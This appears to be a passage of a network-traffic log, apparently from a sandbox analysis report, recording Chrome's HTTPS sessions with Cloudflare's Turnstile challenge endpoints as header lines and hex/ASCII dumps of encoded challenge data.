2024-12-11 18:22:30 UTC	1369	IN	Data Raw: 31 6b 6f 46 2b 5a 33 2b 61 6d 58 4f 43 69 61 52 73 6f 6f 6d 4f 67 49 2b 4e 69 6e 2b 41 6d 4c 43 47 70 49 36 36 65 4a 36 56 6b 72 71 4e 6f 4b 57 35 6f 72 53 36 74 4c 36 75 6a 63 65 59 75 5a 4c 4c 7a 36 61 52 79 71 4f 31 73 36 50 58 75 37 61 30 76 37 48 58 6d 2b 48 64 75 71 62 52 75 74 79 68 78 71 50 57 35 4f 6e 6a 35 61 33 4e 31 63 37 72 79 4c 48 43 37 4e 6e 75 78 39 59 42 2b 2f 4c 4c 34 4e 4c 55 37 2f 44 32 2b 41 7a 56 33 2f 72 62 35 41 38 4f 34 4f 2f 4c 44 52 6a 52 30 39 41 63 47 66 6a 6e 48 75 41 43 46 51 77 6b 4a 2f 44 76 47 42 55 6f 2f 53 67 74 36 75 77 63 42 43 6f 6a 38 76 41 6e 43 76 4d 74 45 78 73 57 45 76 54 37 49 44 55 74 47 41 46 42 4e 50 6b 79 4a 52 34 2b 4f 78 6f 4c 48 67 4d 76 51 69 38 76 56 56 45 54 55 79 4d 55 4b 6b 34 63 4f 46 6f 78 4c 43 Data Ascii: 1koF+Z3+amXOCiaRsoomOgI+Nin+AmLCGpI66eJ6VkrqNoKW5orS6tL6ujceYuZLLz6aRyqO1s6PXu7a0v7HXm+HduqbRutyhxqPW5Onj5a3N1c7ryLHC7Nnux9YB+/LL4NLU7/D2+AzV3/rb5A8O4O/LDRjR09AcGfjnHuACFQwkJ/DvGBUo/Sgt6uwcBCoj8vAnCvMtExsWEvT7IDUtGAFBNPkyJR4+OxoLHgMvQi8vVVETUyMUKk4cOFoxLC
2024-12-11 18:22:30 UTC	1369	IN	Data Raw: 59 33 75 59 5a 36 71 46 6e 48 47 41 68 4b 43 44 67 6f 6d 34 64 5a 6d 36 73 58 69 4e 6c 59 31 37 77 61 2b 33 6c 4b 4c 42 67 4b 48 4c 6e 6f 62 4a 72 62 69 4a 7a 5a 47 66 6a 73 44 4a 6c 36 4c 48 6f 36 32 6d 30 74 71 52 71 61 36 79 76 70 71 30 6e 4e 66 63 71 61 61 30 77 75 69 39 76 66 48 47 33 4f 71 2b 78 63 4b 77 73 4c 57 34 37 76 7a 52 30 64 57 36 39 39 44 5a 7a 74 37 66 78 2b 48 59 79 66 76 63 35 77 76 62 79 73 66 62 42 76 34 46 45 67 6a 70 36 64 50 72 44 64 6e 33 47 52 45 53 38 74 76 30 48 2f 51 57 46 77 55 62 39 77 44 34 39 69 33 39 49 75 30 7a 45 52 45 41 38 67 30 36 46 53 63 79 4f 66 41 65 2b 41 45 7a 41 6b 45 46 42 41 59 42 4f 45 41 46 4f 6b 74 49 42 78 35 4f 49 6b 4d 68 55 79 51 56 4a 69 77 6c 50 55 6c 53 4c 31 51 7a 53 7a 78 65 4c 31 5a 43 58 43 49 Data Ascii: Y3uYZ6qFnHGAhKCDgom4dZm6sXiNlY17wa+3lKLBgKHLnobJrbiJzZGfjsDJl6LHo62m0tqRqa6yvpq0nNfcqaa0wui9vfHG3Oq+xcKwsLW47vzR0dW699DZzt7fx+HYyfvc5wvbysfbBv4FEgjp6dPrDdn3GRES8tv0H/QWFwUb9wD49i39Iu0zEREA8g06FScyOfAe+AEzAkEFBAYBOEAFOktIBx5OIkMhUyQVJiwlPUlSL1QzSzxeL1ZCXCI
2024-12-11 18:22:30 UTC	1369	IN	Data Raw: 57 75 4a 5a 59 32 64 74 59 65 4c 70 49 6d 72 74 58 53 74 6e 37 32 62 6d 4a 32 35 78 71 65 39 6b 36 69 6e 6c 63 33 4e 71 34 71 66 75 38 4f 7a 76 35 53 77 69 63 61 51 74 72 57 71 71 4b 66 49 32 63 43 65 74 4d 2f 57 31 65 62 51 74 36 72 66 79 73 7a 4c 7a 38 37 68 75 39 37 4c 72 4c 4c 45 30 65 76 78 7a 4e 6a 75 76 74 58 36 75 4e 62 42 42 67 66 56 39 4e 76 31 30 38 48 43 79 50 7a 46 44 39 6e 38 7a 41 34 54 46 75 58 6e 46 2f 45 53 31 4e 33 6d 47 67 6e 39 2f 65 30 64 44 75 4d 63 41 76 34 4c 48 39 37 35 49 79 6b 49 41 54 44 6c 2f 51 49 34 4c 79 45 5a 43 76 49 74 39 44 77 38 4c 69 77 73 47 53 34 62 46 54 59 32 51 55 77 43 48 77 52 4b 4c 67 67 4c 49 79 55 6c 56 54 4d 6b 4b 68 52 4e 50 42 64 62 4f 68 6f 30 49 6b 52 51 4d 53 55 69 52 30 51 31 58 31 38 34 5a 30 52 45 Data Ascii: WuJZY2dtYeLpImrtXStn72bmJ25xqe9k6inlc3Nq4qfu8Ozv5SwicaQtrWqqKfI2cCetM/W1ebQt6rfyszLz87hu97LrLLE0evxzNjuvtX6uNbBBgfV9Nv108HCyPzFD9n8zA4TFuXnF/ES1N3mGgn9/e0dDuMcAv4LH975IykIATDl/QI4LyEZCvIt9Dw8LiwsGS4bFTY2QUwCHwRKLggLIyUlVTMkKhRNPBdbOho0IkRQMSUiR0Q1X184Z0RE
2024-12-11 18:22:30 UTC	1369	IN	Data Raw: 32 30 6f 61 4b 6e 72 48 75 6d 69 6e 74 38 74 35 6d 4e 72 35 47 76 75 37 57 6a 75 35 37 43 75 4a 2f 4d 7a 35 79 7a 7a 62 61 2b 7a 39 4b 56 77 70 50 55 78 72 44 55 32 63 48 69 6f 61 48 67 6f 37 76 63 76 2b 72 67 74 63 58 47 77 36 4c 51 7a 65 4b 79 7a 2f 44 4d 75 4e 6a 4f 2b 2b 6e 39 78 77 48 54 39 77 54 30 41 76 66 51 31 77 6e 46 79 66 72 74 32 75 30 48 42 66 77 54 78 65 62 30 39 66 55 55 38 66 45 56 46 74 66 31 49 42 34 44 33 78 77 5a 2b 4e 67 69 49 77 73 67 43 65 4d 6e 44 52 38 76 42 75 73 79 4c 76 55 42 46 6a 45 78 39 7a 30 2b 4e 76 51 4a 2b 43 70 44 41 54 67 39 4e 43 51 2b 47 7a 4d 4d 51 77 73 64 41 6b 74 4a 45 41 5a 4b 45 78 55 77 54 68 67 36 4d 46 73 77 50 56 78 63 57 69 42 45 5a 69 51 32 51 57 5a 6a 59 31 70 6b 57 48 42 4d 4b 47 77 39 4b 33 5a 77 4d Data Ascii: 20oaKnrHumint8t5mNr5Gvu7Wju57CuJ/Mz5yzzba+z9KVwpPUxrDU2cHioaHgo7vcv+rgtcXGw6LQzeKyz/DMuNjO++n9xwHT9wT0AvfQ1wnFyfrt2u0HBfwTxeb09fUU8fEVFtf1IB4D3xwZ+NgiIwsgCeMnDR8vBusyLvUBFjEx9z0+NvQJ+CpDATg9NCQ+GzMMQwsdAktJEAZKExUwThg6MFswPVxcWiBEZiQ2QWZjY1pkWHBMKGw9K3ZwM
2024-12-11 18:22:30 UTC	1369	IN	Data Raw: 35 6e 4d 47 4a 6a 70 36 38 72 37 2b 58 78 59 69 6b 69 35 57 67 7a 35 2f 50 75 36 69 30 30 63 37 44 70 38 7a 44 75 4a 6a 59 6b 35 79 31 6c 75 43 74 6c 61 33 6a 31 4c 79 30 34 36 69 71 6f 72 58 63 76 62 72 66 72 63 2f 31 35 4e 58 4c 77 4e 4c 51 38 76 7a 33 37 72 55 41 31 4c 6e 50 41 74 6e 33 31 41 66 46 2f 72 30 49 7a 50 37 77 45 50 6f 4c 30 63 6f 51 30 66 50 6c 34 52 6e 6e 35 78 7a 59 2b 65 6b 67 34 66 50 74 37 52 58 32 33 69 6e 31 33 53 37 31 2b 67 73 70 48 43 77 45 4d 76 51 52 39 77 49 4e 50 41 77 38 4b 42 55 68 50 6a 73 77 46 44 6b 77 4a 51 56 46 41 41 59 63 46 78 5a 49 4b 6c 4a 42 4b 7a 41 65 56 45 55 6b 4a 44 49 52 45 69 56 59 58 53 6b 74 48 31 67 32 5a 54 6b 64 4e 47 5a 43 52 53 74 74 51 6b 34 37 5a 56 73 77 4c 6e 56 48 62 45 56 31 63 33 67 75 53 45 Data Ascii: 5nMGJjp68r7+XxYiki5Wgz5/Pu6i00c7Dp8zDuJjYk5y1luCtla3j1Ly046iqorXcvbrfrc/15NXLwNLQ8vz37rUA1LnPAtn31AfF/r0IzP7wEPoL0coQ0fPl4Rnn5xzY+ekg4fPt7RX23in13S71+gspHCwEMvQR9wINPAw8KBUhPjswFDkwJQVFAAYcFxZIKlJBKzAeVEUkJDIREiVYXSktH1g2ZTkdNGZCRSttQk47ZVswLnVHbEV1c3guSE
2024-12-11 18:22:30 UTC	1369	IN	Data Raw: 73 37 43 59 6b 38 66 49 6d 70 65 37 76 4a 2b 62 7a 37 79 64 6e 64 50 55 72 71 4c 58 78 4c 47 6d 74 5a 57 74 71 63 2b 79 73 71 2f 6a 6f 62 75 7a 73 65 69 36 74 64 76 6f 76 72 6a 66 34 4d 4b 2f 7a 61 33 46 77 73 48 34 7a 4d 62 37 33 73 6e 4b 79 66 6a 57 7a 38 33 46 32 74 50 52 36 74 7a 58 35 64 37 66 32 2b 6b 46 34 64 34 45 30 65 72 6a 47 41 6e 71 35 41 77 4e 39 65 72 70 41 2f 54 74 46 42 58 35 38 53 67 56 39 66 59 47 48 51 50 37 4d 4f 6b 46 2f 53 54 78 42 67 49 6f 43 77 30 48 46 6a 55 54 44 42 70 42 46 68 41 65 2f 52 63 52 4f 44 30 66 46 6b 78 4e 48 68 77 61 54 53 6f 65 56 41 34 69 49 7a 4a 5a 4b 69 5a 4d 55 54 4d 72 4b 68 34 79 4c 31 51 33 4f 6a 4a 59 4b 6a 34 33 62 43 59 2f 50 48 42 54 53 7a 31 6b 5a 55 31 44 65 48 46 4d 52 31 5a 78 55 6b 74 77 55 31 5a Data Ascii: s7CYk8fImpe7vJ+bz7ydndPUrqLXxLGmtZWtqc+ysq/jobuzsei6tdvovrjf4MK/za3FwsH4zMb73snKyfjWz83F2tPR6tzX5d7f2+kF4d4E0erjGAnq5AwN9erpA/TtFBX58SgV9fYGHQP7MOkF/STxBgIoCw0HFjUTDBpBFhAe/RcROD0fFkxNHhwaTSoeVA4iIzJZKiZMUTMrKh4yL1Q3OjJYKj43bCY/PHBTSz1kZU1DeHFMR1ZxUktwU1Z
2024-12-11 18:22:30 UTC	1369	IN	Data Raw: 63 4f 36 6a 5a 6d 49 6f 36 47 53 79 70 4f 77 78 6f 36 72 72 5a 47 6b 31 4d 37 65 31 62 53 35 6d 61 7a 63 33 75 62 64 76 4d 47 68 74 4f 58 47 79 75 58 4a 78 4f 58 41 74 4f 75 70 37 38 48 4b 79 37 4b 37 32 64 43 32 2b 64 72 4e 7a 51 54 37 76 51 54 64 41 4c 30 45 31 64 37 66 32 75 6a 52 33 51 77 46 37 65 66 4f 45 76 4c 6c 45 74 4d 66 43 78 7a 79 33 4f 49 61 48 77 45 56 33 76 72 6f 34 66 51 6d 42 77 73 6e 4d 41 55 6c 41 66 49 48 41 69 38 70 45 53 73 46 4e 67 73 62 51 52 6b 41 4d 67 30 2b 4a 76 30 52 51 68 4d 6e 51 6b 77 68 50 52 30 4f 44 68 35 4b 52 53 31 44 49 56 45 53 4e 31 30 31 48 46 4d 70 57 6b 77 61 48 43 4a 62 5a 7a 4a 6a 50 30 64 74 52 53 78 62 4f 57 6c 6e 63 7a 35 76 54 69 35 42 63 57 39 37 52 6a 78 54 57 34 46 5a 51 48 42 4e 66 58 75 48 55 6b 68 69 Data Ascii: cO6jZmIo6GSypOwxo6rrZGk1M7e1bS5mazc3ubdvMGhtOXGyuXJxOXAtOup78HKy7K72dC2+drNzQT7vQTdAL0E1d7f2ujR3QwF7efOEvLlEtMfCxzy3OIaHwEV3vro4fQmBwsnMAUlAfIHAi8pESsFNgsbQRkAMg0+Jv0RQhMnQkwhPR0ODh5KRS1DIVESN101HFMpWkwaHCJbZzJjP0dtRSxbOWlncz5vTi5BcW97RjxTW4FZQHBNfXuHUkhi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49765	104.18.94.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:31 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1759472969:1733938185:6Ak7oULa4BiQMxykmoOEDeACrRtY62PkChtHZRgN3C0/8f077fd7ad501889/.WxIwZ6A3N99rM2kAENNnQzOAqVJeC8ksv5OQCLJyzQ-1733941338-1.1.1.1-lpkpeHPLCxpcvGPGfzydAp90kelNHZABhKJ0DCxrZui6wLJzSoy2zSEqk.e3xYiv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:32 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 18:22:32 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: EAp/tLqKtmf2Qk67YAKuZyFCI5Mx1nwaZdc=$MiXBBLTF2rZB9BAQ Server: cloudflare CF-RAY: 8f078029ed7472aa-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 18:22:32 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49780	104.18.95.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 18:22:37 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1759472969:1733938185:6Ak7oULa4BiQMxykmoOEDeACrRtY62PkChtHZRgN3C0/8f077fd7ad501889/.WxIwZ6A3N99rM2kAENNnQzOAqVJeC8ksv5OQCLJyzQ-1733941338-1.1.1.1-lpkpeHPLCxpcvGPGfzydAp90kelNHZABhKJ0DCxrZui6wLJzSoy2zSEqk.e3xYiv HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 33859 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: .WxIwZ6A3N99rM2kAENNnQzOAqVJeC8ksv5OQCLJyzQ-1733941338-1.1.1.1-lpkpeHPLCxpcvGPGfzydAp90kelNHZABhKJ0DCxrZui6wLJzSoy2zSEqk.e3xYiv sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/djwd3/0x4AAAAAAA1KgdNE9-bMhAVQ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 18:22:37 UTC	16384	OUT	Data Raw: 76 5f 38 66 30 37 37 66 64 37 61 64 35 30 31 38 38 39 3d 31 46 77 44 55 49 63 4a 53 49 53 24 46 51 4a 42 56 2d 51 4a 44 31 78 63 53 58 69 49 34 51 64 44 31 39 53 6d 30 63 51 50 44 78 49 47 57 56 46 44 51 70 77 51 73 48 78 59 53 51 75 51 35 4d 49 51 39 46 63 6f 59 69 32 51 63 55 51 77 77 63 32 51 41 42 51 4c 43 74 36 4d 46 51 4f 36 44 6d 62 51 6e 2d 7a 44 51 4b 58 58 42 74 51 36 62 53 57 51 6a 30 35 64 24 63 4d 51 4d 42 51 43 51 51 32 79 78 4b 72 51 58 70 78 51 58 70 69 51 38 51 59 71 34 51 63 68 2d 79 4f 66 45 44 4c 35 64 79 65 6f 63 53 33 58 79 4c 77 39 58 61 48 73 34 53 4c 63 2d 4a 55 39 33 43 36 2d 2d 49 51 49 58 61 53 39 42 4d 51 63 6a 5a 43 49 49 66 4a 72 47 34 71 48 51 6a 44 43 4d 44 53 70 25 32 62 2b 6f 56 47 52 42 39 45 45 43 56 6b 6c 64 70 6d 4a Data Ascii: v_8f077fd7ad501889=1FwDUIcJSIS$FQJBV-QJD1xcSXiI4QdD19Sm0cQPDxIGWVFDQpwQsHxYSQuQ5MIQ9FcoYi2QcUQwwc2QABQLCt6MFQO6DmbQn-zDQKXXBtQ6bSWQj05d$cMQMBQCQQ2yxKrQXpxQXpiQ8QYq4Qch-yOfEDL5dyeocS3XyLw9XaHs4SLc-JU93C6--IQIXaS9BMQcjZCIIfJrG4qHQjDCMDSp%2b+oVGRB9EECVkldpmJ
2024-12-11 18:22:37 UTC	16384	OUT	Data Raw: 63 34 51 56 44 33 56 77 77 49 4e 51 76 77 5a 69 44 44 58 61 4e 6c 5a 51 51 52 44 64 51 77 44 6d 77 51 6c 51 63 78 6d 52 51 32 70 63 30 49 34 51 6f 46 69 78 51 37 30 4a 51 69 78 6d 66 42 6e 51 63 75 49 2d 51 71 51 4d 57 49 30 51 51 44 51 42 2d 75 51 64 44 51 53 63 50 51 72 44 58 53 63 68 51 56 51 69 45 63 6a 51 7a 44 49 42 6d 6a 51 36 44 24 37 49 31 51 6f 57 4d 77 6d 73 78 71 44 49 51 49 49 51 55 44 58 59 63 44 51 42 46 24 6e 63 55 44 42 46 31 57 6d 73 78 32 70 31 78 63 44 51 4c 51 52 42 51 77 78 5a 78 58 77 6d 70 63 42 44 30 5a 6d 56 51 6a 44 69 45 51 2d 63 6f 46 24 2b 53 77 78 6e 51 6e 78 58 73 78 70 77 77 56 63 44 51 32 70 77 77 69 64 63 4b 51 43 78 73 4a 51 50 44 6e 4c 51 46 56 6f 46 49 57 4d 41 44 35 72 49 51 6d 61 45 35 61 53 41 6f 51 63 30 51 49 51 Data Ascii: c4QVD3VwwINQvwZiDDXaNlZQQRDdQwDmwQlQcxmRQ2pc0I4QoFixQ70JQixmfBnQcuI-QqQMWI0QQDQB-uQdDQScPQrDXSchQVQiEcjQzDIBmjQ6D$7I1QoWMwmsxqDIQIIQUDXYcDQBF$ncUDBF1Wmsx2p1xcDQLQRBQwxZxXwmpcBD0ZmVQjDiEQ-coF$+SwxnQnxXsxpwwVcDQ2pwwidcKQCxsJQPDnLQFVoFIWMAD5rIQmaE5aSAoQc0QIQ
2024-12-11 18:22:37 UTC	1091	OUT	Data Raw: 5a 76 64 42 46 63 46 51 58 49 34 48 7a 42 51 42 44 41 4f 48 39 5a 63 77 38 7a 79 6a 51 7a 47 4b 77 49 32 32 4a 44 73 38 78 73 35 33 51 41 76 4f 5a 36 4a 7a 50 4a 4c 73 78 31 24 32 38 63 6a 51 48 6b 64 35 43 36 67 37 44 30 77 63 4b 63 33 6e 49 44 51 53 6e 51 75 24 50 4c 4e 55 42 64 2b 77 51 56 44 53 37 2b 62 63 63 38 24 51 35 46 6d 4b 56 33 51 6b 4c 66 77 72 66 57 59 64 49 68 78 71 44 24 79 37 5a 70 73 51 52 77 63 62 78 78 33 46 33 47 52 65 47 63 4b 53 51 61 6d 51 75 67 62 36 32 4e 49 51 39 4e 7a 62 51 50 43 76 61 66 77 6e 42 74 6d 51 63 37 6f 45 70 41 53 77 55 6f 77 51 24 46 51 30 57 68 68 47 7a 6e 50 51 4d 76 36 71 46 34 45 37 76 4c 71 46 59 45 6f 76 2d 38 5a 62 45 73 76 6a 73 33 66 70 6f 37 43 78 4d 32 4e 39 59 39 52 49 56 43 51 4e 71 4f 70 65 38 56 33 Data Ascii: ZvdBFcFQXI4HzBQBDAOH9Zcw8zyjQzGKwI22JDs8xs53QAvOZ6JzPJLsx1$28cjQHkd5C6g7D0wcKc3nIDQSnQu$PLNUBd+wQVDS7+bcc8$Q5FmKV3QkLfwrfWYdIhxqD$y7ZpsQRwcbxx3F3GReGcKSQamQugb62NIQ9NzbQPCvafwnBtmQc7oEpASwUowQ$FQ0WhhGznPQMv6qF4E7vLqFYEov-8ZbEsvjs3fpo7CxM2N9Y9RIVCQNqOpe8V3
2024-12-11 18:22:37 UTC	286	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 18:22:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4576 Connection: close cf-chl-out: Hfm/vFzRIYXzNNv1nr+kNWMRka625RbNNlcTx5Y2/OsQctqeHQ7Vh8Ox9LyjVffKQnTvMydcfr5uj6h4AKvT/R1gEYMjcy4ZZICGaJ1GAw7Spt5r83DCpTw=$ShLwf/1RTPscl3d2
2024-12-11 18:22:37 UTC	1259	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 7a 46 36 4b 4c 35 4c 36 6e 55 58 42 51 6a 51 6b 37 38 30 54 76 4c 78 66 54 64 75 6f 48 66 39 45 6f 41 4f 2f 4f 49 45 4f 44 7a 43 64 6a 4f 69 73 62 2f 53 6f 56 4f 48 73 46 30 38 45 46 41 4d 47 51 42 34 6c 66 70 43 7a 62 51 64 56 2b 64 54 31 70 39 64 4b 47 35 50 33 34 72 54 69 74 42 7a 52 4a 45 73 65 48 6b 71 33 51 71 4d 51 6f 74 53 63 79 55 68 71 57 49 59 7a 76 4a 33 77 41 59 42 65 7a 78 53 2b 4a 71 68 30 69 68 49 76 6b 48 41 56 4f 64 64 6d 79 4e 54 77 49 32 59 51 33 46 67 30 35 46 37 43 6a 55 2b 54 49 6a 56 37 71 49 36 58 48 42 33 55 57 63 6c 7a 4b 47 38 47 74 73 42 6c 54 5a 70 5a 4b 56 49 58 6f 76 44 6a 6c 58 68 41 31 36 4f 50 44 55 68 44 79 31 61 6b 72 32 36 6e 33 74 78 73 63 6f 74 39 69 4d 2f 70 44 52 65 64 6b Data Ascii: cf-chl-out-s: zF6KL5L6nUXBQjQk780TvLxfTduoHf9EoAO/OIEODzCdjOisb/SoVOHsF08EFAMGQB4lfpCzbQdV+dT1p9dKG5P34rTitBzRJEseHkq3QqMQotScyUhqWIYzvJ3wAYBezxS+Jqh0ihIvkHAVOddmyNTwI2YQ3Fg05F7CjU+TIjV7qI6XHB3UWclzKG8GtsBlTZpZKVIXovDjlXhA16OPDUhDy1akr26n3txscot9iM/pDRedk
2024-12-11 18:22:37 UTC	1193	IN	Data Raw: 6a 34 70 76 69 48 70 6d 62 47 78 33 56 6e 78 79 65 5a 52 37 66 31 31 76 68 57 43 6e 6f 34 47 63 62 47 79 41 6f 49 47 6d 6a 48 32 52 67 58 65 55 6b 33 47 59 69 49 71 70 6c 34 2f 43 6c 49 32 33 78 70 69 52 70 37 32 4a 79 37 62 47 6a 4b 58 51 73 61 79 6b 78 71 75 78 6f 4b 43 78 70 74 75 6e 74 71 65 71 76 4b 75 31 76 63 4c 62 6f 38 48 59 34 36 6a 54 33 65 66 68 72 75 44 52 71 64 44 47 7a 75 6e 51 79 39 4c 43 39 4e 6a 4b 35 38 6e 39 2f 4e 62 57 75 77 44 35 76 76 6a 71 31 63 66 65 35 74 6e 50 35 75 37 65 36 2b 6a 4e 33 67 41 58 45 42 54 79 39 78 45 57 47 42 45 58 39 66 55 6d 46 4f 4c 69 41 50 49 62 35 51 30 70 47 50 72 34 43 53 6f 41 4a 2f 4d 4b 38 51 4c 77 4c 54 6b 70 4f 79 74 42 2b 44 62 30 2b 69 31 45 2b 45 4a 46 4e 6b 67 47 43 68 63 6e 4c 69 64 4c 4d 77 38 Data Ascii: j4pviHpmbGx3VnxyeZR7f11vhWCno4GcbGyAoIGmjH2RgXeUk3GYiIqpl4/ClI23xpiRp72Jy7bGjKXQsaykxquxoKCxptuntqeqvKu1vcLbo8HY46jT3efhruDRqdDGzunQy9LC9NjK58n9/NbWuwD5vvjq1cfe5tnP5u7e6+jN3gAXEBTy9xEWGBEX9fUmFOLiAPIb5Q0pGPr4CSoAJ/MK8QLwLTkpOytB+Db0+i1E+EJFNkgGChcnLidLMw8
2024-12-11 18:22:37 UTC	1369	IN	Data Raw: 75 48 7a 43 78 72 32 2b 4f 6a 5a 47 76 66 63 2f 68 6b 42 4a 2f 7a 7a 41 68 6f 64 47 41 51 75 41 79 30 42 44 41 63 6a 45 43 55 70 4d 42 49 54 39 77 55 4c 4e 41 63 2b 47 50 68 43 44 42 39 48 51 54 41 6c 46 41 67 55 4b 69 73 63 49 44 34 4a 4a 53 41 77 4d 42 51 6c 4c 43 5a 46 52 43 30 36 56 56 38 79 57 45 45 73 50 6b 4a 6c 57 55 49 30 4a 6d 6c 61 62 6c 30 6f 54 47 4e 79 54 30 67 74 59 6b 5a 52 56 54 73 35 54 6a 6c 50 50 6c 6d 44 57 7a 78 68 68 59 4a 47 58 46 52 4b 64 47 52 2b 61 33 46 68 62 6b 39 69 62 33 42 6e 6a 58 4b 4b 56 33 52 31 65 56 74 32 63 71 4e 72 6e 6e 78 78 67 31 70 36 68 47 65 42 65 36 42 37 71 59 70 71 69 49 71 6a 6b 72 56 76 69 6f 56 33 62 71 71 2b 6c 37 32 61 73 59 4f 52 6b 34 47 54 78 4c 66 4c 69 73 71 35 68 61 69 6d 76 74 4b 6e 78 71 69 68 Data Ascii: uHzCxr2+OjZGvfc/hkBJ/zzAhodGAQuAy0BDAcjECUpMBIT9wULNAc+GPhCDB9HQTAlFAgUKiscID4JJSAwMBQlLCZFRC06VV8yWEEsPkJlWUI0Jmlabl0oTGNyT0gtYkZRVTs5TjlPPlmDWzxhhYJGXFRKdGR+a3Fhbk9ib3BnjXKKV3R1eVt2cqNrnnxxg1p6hGeBe6B7qYpqiIqjkrVvioV3bqq+l72asYORk4GTxLfLisq5haimvtKnxqih
2024-12-11 18:22:37 UTC	1369	IN	Data Raw: 7a 36 43 51 6f 44 47 75 73 4e 34 75 54 6b 46 67 6b 6a 2b 42 6f 46 41 2f 6a 37 4b 4f 6b 65 42 68 51 7a 49 69 45 70 42 44 4d 78 4b 68 30 65 39 6a 44 35 44 51 31 43 51 53 4d 52 49 68 63 6a 47 69 63 6d 50 55 39 50 43 6b 6f 2f 4d 43 55 6c 52 45 39 50 4d 30 70 55 4b 42 6c 50 48 6a 77 61 4f 69 46 45 4a 56 63 6b 54 43 56 61 4b 46 38 35 58 6e 4d 2f 51 6a 55 78 55 58 42 5a 56 30 52 4e 61 6a 59 38 66 46 78 72 59 46 4a 78 59 55 65 44 63 33 35 49 58 32 75 44 5a 45 78 37 53 33 53 4c 64 6b 35 2f 63 33 71 55 65 31 52 5a 66 71 42 73 63 4b 4a 63 6e 35 2b 5a 6f 5a 69 4a 59 6f 52 33 69 6e 71 71 66 59 70 36 71 4a 42 2f 69 49 47 69 72 62 4a 74 70 62 4f 33 6c 62 43 4f 6c 48 57 79 6b 36 43 5a 77 59 69 39 75 34 4f 45 74 38 79 34 6d 63 44 46 72 34 66 45 79 61 43 52 31 4a 71 33 6c Data Ascii: z6CQoDGusN4uTkFgkj+BoFA/j7KOkeBhQzIiEpBDMxKh0e9jD5DQ1CQSMRIhcjGicmPU9PCko/MCUlRE9PM0pUKBlPHjwaOiFEJVckTCVaKF85XnM/QjUxUXBZV0RNajY8fFxrYFJxYUeDc35IX2uDZEx7S3SLdk5/c3qUe1RZfqBscKJcn5+ZoZiJYoR3inqqfYp6qJB/iIGirbJtpbO3lbCOlHWyk6CZwYi9u4OEt8y4mcDFr4fEyaCR1Jq3l
2024-12-11 18:22:37 UTC	645	IN	Data Raw: 63 2b 68 48 78 32 67 48 67 43 75 55 72 2b 67 6a 76 35 77 38 42 41 53 55 57 4b 65 6f 6d 42 69 2f 35 4f 68 49 52 2b 68 73 62 49 41 56 46 48 6a 49 42 41 45 41 6f 44 55 64 51 55 42 30 6e 52 41 73 4e 4c 42 38 30 4a 6b 63 79 57 52 56 4c 56 46 34 70 4f 56 52 44 4a 44 35 47 55 53 46 56 4b 56 30 36 52 57 52 4e 62 6b 63 78 5a 43 74 7a 51 30 42 35 55 57 6c 57 50 57 6c 4c 57 54 35 57 51 56 39 53 58 59 51 2f 52 6e 64 34 62 46 5a 6c 58 6b 39 64 6a 31 47 46 56 59 43 4d 64 46 65 49 6b 46 4a 59 6a 4a 42 39 62 58 70 32 66 6d 57 52 65 33 65 71 70 4a 6d 43 58 32 35 2f 66 47 64 79 61 62 4a 72 73 34 35 71 64 4a 43 70 6b 33 64 30 76 5a 32 4b 72 70 36 78 6a 72 47 65 66 6f 4f 68 70 6f 57 48 67 4b 71 4e 67 36 71 70 6b 70 4b 71 6c 72 53 68 31 36 71 74 6d 72 53 2b 33 4b 47 55 33 4e Data Ascii: c+hHx2gHgCuUr+gjv5w8BASUWKeomBi/5OhIR+hsbIAVFHjIBAEAoDUdQUB0nRAsNLB80JkcyWRVLVF4pOVRDJD5GUSFVKV06RWRNbkcxZCtzQ0B5UWlWPWlLWT5WQV9SXYQ/Rnd4bFZlXk9dj1GFVYCMdFeIkFJYjJB9bXp2fmWRe3eqpJmCX25/fGdyabJrs45qdJCpk3d0vZ2Krp6xjrGefoOhpoWHgKqNg6qpkpKqlrSh16qtmrS+3KGU3N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49786	104.18.94.41	443	4500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
